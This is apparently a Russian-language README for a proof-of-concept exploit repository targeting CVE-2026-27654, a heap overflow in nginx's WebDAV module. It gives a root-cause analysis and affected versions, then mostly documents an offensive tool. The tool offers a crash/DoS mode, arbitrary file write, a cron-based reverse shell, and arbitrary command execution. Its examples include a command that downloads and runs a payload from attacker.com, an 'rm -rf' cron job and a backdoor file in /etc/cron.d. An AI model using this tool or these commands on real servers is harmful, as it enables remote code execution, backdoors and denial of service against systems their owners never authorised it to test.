
Proof-of-Concept и технический анализ для CVE-2026-27654 — уязвимости переполнения буфера в куче в модуле NGINX HTTP WebDAV, включая анализ первопричины, воспроизведение и меры по смягчению последствий.
# CVE-2026-27654 – PoC обработки путей DAV alias в модуле nginx ngx_http_dav_module
Этот репозиторий содержит концепт‑эксплойт для **CVE‑2026‑27654** — уязвимости переполнения кучи в модуле `ngx_http_dav_module` nginx. Ошибка возникает из‑за целочисленного потери значимости (underflow) типа `size_t` при обработке запросов `MOVE`/`COPY` со специально сформированными заголовками `Destination` и location‑блоками на основе `alias`.
> **⚠️ Предупреждение:** Этот инструмент предназначен **только для авторизованных исследований и тестирования безопасности**. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Авторы не несут ответственности за неправомерное использование.
<p align="center">
<img src="https://raw.githubusercontent.com/Debajyoti0-0/CVE-2026-27654-PoC/main/Image.png" alt="CVE-2026-27654 Logo">
</p>
## 🔥 Обзор уязвимости
**CVE‑2026‑27654** — это удаленно активируемое **переполнение буфера в куче** в HTTP WebDAV‑модуле NGINX, вызванное **целочисленным underflow** в `ngx_http_dav_copy_move_handler()` (`src/http/modules/ngx_http_dav_module.c`). Уязвимость возникает, когда длина URI назначения вычисляется вычитанием настроенного префикса location из пути заголовка `Destination`. Поскольку оба операнда имеют тип `size_t`, более короткий путь назначения приводит к тому, что результат вычитания «заворачивается» до почти максимального беззнакового значения.
Затем «завёрнутая» длина используется в качестве аргумента размера для `memcpy()`, что приводит к записи за пределами кучи, повреждению памяти и немедленному падению рабочего процесса NGINX. Удаленный неаутентифицированный злоумышленник может надежно вызвать это состояние с помощью одного специально сформированного запроса **MOVE** или **COPY**, нацеленного на WebDAV‑локацию, сопоставленную с `alias`. Хотя главный процесс NGINX автоматически перезапускает упавшие рабочие процессы, повторные запросы могут поддерживать сервис в состоянии непрерывного цикла падения воркеров, что приводит к устойчивому отказу в обслуживании (`Denial-of-Service, DoS`).
AddressSanitizer (ASan) подтверждает уязвимость ошибкой `negative-size-param` в `memcpy()`, прослеживая путь выполнения от `ngx_http_dav_copy_move_handler()` до `ngx_http_core_module.c`. Уязвимость затрагивает **NGINX 0.5.13–1.28.2 (stable)** и **1.29.0–1.29.6 (mainline)** при компиляции с `--with-http_dav_module` и настройке с директивой `alias`. Проблема была устранена в **NGINX 1.28.3** и **1.29.7** (коммит `ab4b5b8`, `PR #1210`) путем надлежащей проверки вычисленной длины пути назначения перед операциями с памятью.
## ✨ Возможности
- **Интерактивный выбор режима** – выбор из четырех режимов работы во время выполнения (crash, write‑file, cron‑shell, cron‑cmd) с понятным нумерованным меню.
- **Триггер падения** – отправка канонического запроса `MOVE`/`COPY`, который вызывает underflow типа `size_t` и приводит к падению уязвимого воркера.
- **Режим записи файла** – загрузка произвольного содержимого в любое место файловой системы (требует лабораторного окружения с доступным для записи `alias`).
- **Доставка cron‑shell** – развертывание cron‑задания reverse shell в `/etc/cron.d/` с интерактивными запросами `LHOST`/`LPORT` и напоминанием о запуске слушателя.
- **Доставка cron‑cmd** – выполнение произвольной команды через cron; принимает либо интерактивный ввод, либо флаг `--cron-command`.
- **Проверка уязвимости** (`--check`) – неинтерактивный режим, который запускает тест на падение и выводит четкий вердикт `[VULNERABLE]` / `[NOT VULNERABLE]`, завершаясь с кодом 0 или 1.
- **Поддержка HTTP‑прокси** (`--proxy`) – маршрутизация всех запросов через HTTP/HTTPS‑прокси (например, Burp Suite, mitmproxy) для отладки или проверки трафика.
- **Умная работа с файлами** – проверяет, существует ли уже триггерный файл (через HEAD/GET), и пропускает PUT, если он присутствует, избегая лишних загрузок.
- **Гибкие параметры полезной нагрузки** – передача пейлоада через `--payload-file` (бинарный), `--payload-text` (буквальный текст) или использование тестового содержимого по умолчанию.
- **Полный набор аргументов командной строки** – тонкая настройка каждого аспекта эксплойта: `--destination-path`, `--alias-len`, `--escape-depth`, `--method`, `--location-prefix` и другие.
- **Надежный запасной вариант** – если библиотека `requests` не установлена, скрипт переключается на стандартный модуль Python `http.client` (в этом режиме поддержка прокси отключена).
## 📦 Установка
```bash
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
```
## 🚀 Использование
### Интерактивный режим (меню)
```bash
python exploit.py --target 192.168.1.100:8080
```
Вам будет показано нумерованное меню и предложено выбрать режим.
### Проверка уязвимости (неинтерактивно)
```bash
python exploit.py --target 192.168.1.100:8080 --check
```
Это принудительно включает режим **crash**, запускает эксплойт и выводит `[VULNERABLE]` или `[NOT VULNERABLE]`, после чего завершается с кодом `0` или `1`.
### С HTTP‑прокси
```bash
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
```
Все HTTP‑запросы будут отправляться через указанный прокси (полезно для отладки с Burp).
## ⚙️ Справочник флагов
| Flag | Description | Example |
|------|-------------|---------|
| `--target HOST:PORT` | Целевой экземпляр nginx (по умолчанию: `127.0.0.1:8080`). | `--target 10.0.0.5:80` |
| `--verbose`, `-v` | Показывать полные HTTP‑ответы (заголовки и тело). | `-v` |
| `--no-put` | Пропустить начальный PUT (предполагается, что триггерный файл уже существует). Полезно для повторного тестирования. | `--no-put` |
| `--location-prefix` | Префикс DAV‑локации (по умолчанию: `/uploads/`). Должен совпадать с location `alias` в конфигурации nginx. | `--location-prefix /dav/` |
| `--remote-name` | Удаленное имя исходного файла, размещаемого внутри DAV‑локации (по умолчанию: `triggerfile.txt`). | `--remote-name test.txt` |
| `--method {MOVE,COPY}` | DAV‑метод для запроса назначения (по умолчанию: `MOVE`). | `--method COPY` |
| `--destination-path` | Путь URI назначения — используется для арифметики при падении или как конечный путь файла для режимов доставки. | `--destination-path /etc/cron.d/backdoor` |
| `--alias-len` | Длина строки настроенного `alias` (используется для отображения арифметики падения, по умолчанию `13`). | `--alias-len 20` |
| `--escape-depth` | Количество компонентов пути `../` для выхода за пределы корня DAV (по умолчанию `1`). | `--escape-depth 3` |
| `--payload-file` | Локальный файл для загрузки в качестве пейлоада. Заменяет тестовое содержимое по умолчанию. | `--payload-file ./shell.php` |
| `--payload-text` | Текстовый пейлоад для режима `write-file`. | `--payload-text "<?php phpinfo(); ?>"` |
| `--lhost` | Хост для обратного вызова reverse shell (для `cron-shell`). Если не указан, скрипт запросит его интерактивно. | `--lhost 192.168.1.50` |
| `--lport` | Порт для обратного вызова reverse shell (для `cron-shell`). | `--lport 4444` |
| `--cron-command` | Команда для выполнения через cron (для `cron-cmd`). Если не указана, скрипт запросит её интерактивно. | `--cron-command "rm -rf /tmp/*"` |
| `--wait` | Секунды ожидания после доставки cron‑задания до его выполнения (по умолчанию `65`). | `--wait 120` |
| `--check` | Запуск проверки уязвимости (тест на падение, неинтерактивно). Выводит `VULNERABLE`/`NOT VULNERABLE` и завершается с кодом 0/1. | `--check` |
| `--proxy PROXY_URL` | URL HTTP/HTTPS‑прокси (например, `http://127.0.0.1:8080`). Требует библиотеку `requests`. | `--proxy http://127.0.0.1:8080` |
> **Примечание:** Большинство флагов необязательны. Если обязательные аргументы не указаны, скрипт запросит их (например, `--lhost`/`--lport` для `cron-shell`).
## 🧪 Режимы подробно
### 1. `crash`
Отправляет специально сформированный запрос `MOVE` (или `COPY`), который вызывает underflow типа `size_t`. Сервер завершит рабочий процесс. Если главный процесс настроен правильно, он породит новый воркер.
**Пример:**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
```
### 2. `write-file`
Загружает файл в произвольное место файловой системы. Это работает только в том случае, если DAV‑локация поддерживается `alias`, указывающим на доступный для записи каталог, а путь `Destination` сформирован так, чтобы выйти за пределы корня DAV. **Используйте только в авторизованных лабораторных средах.**
**Пример:**
```bash
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
```
### 3. `cron-shell`
Размещает cron‑задание reverse shell в `/etc/cron.d/`.
При выборе этого режима скрипт запросит:
- **LHOST** – ваш IP для прослушивания
- **LPORT** – ваш порт для прослушивания
Затем он отобразит команду netcat‑слушателя и будет ждать нажатия **Enter**, когда слушатель будет запущен.
**Пример (с предзаполненными параметрами):**
```bash
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
```
### 4. `cron-cmd`
Размещает произвольную команду (переданную интерактивно или через `--cron-command`) в `/etc/cron.d/`. Это полезно для выполнения произвольных системных команд.
**Пример (интерактивный):**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
```
**Пример (с предзаполненными параметрами):**
```bash
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
```
## 📝 Пример рабочего процесса (Reverse Shell)
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
```
## 📝 Пример рабочего процесса (выполнение команд)
Этот пример демонстрирует использование `cron-cmd` для выполнения команды на целевой системе без необходимости в слушателе.
### Интерактивный режим
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
```
### С предзаполненными параметрами (неинтерактивно)
```bash
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
```
Скрипт автоматически использует переданный `--cron-command` и пропускает интерактивный запрос, что делает его пригодным для автоматизации.
## 🛠️ Создание уязвимой тестовой среды
Чтобы протестировать этот PoC в контролируемой среде, можно собрать nginx из исходников с `--with-http_dav_module` и настроить location с `alias` и `dav_methods`. Образец Docker‑конфигурации включен (скоро появится).
## Ссылки
- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210
## 📜 Лицензия
Этот проект лицензирован в соответствии с GNU v3.0 License – подробности см. в файле [LICENSE](https://github.com/debajyoti0-0/cve-2026-27654-poc/blob/main/LICENSE).
## 🤝 Вклад в проект
Приветствуются вопросы (issues) и pull request'ы. Пожалуйста, убедитесь, что ваш вклад соответствует тем же этическим принципам использования.
>**Помните:** Всегда получайте надлежащее разрешение перед тестированием любого инструмента безопасности. Оставайтесь этичными!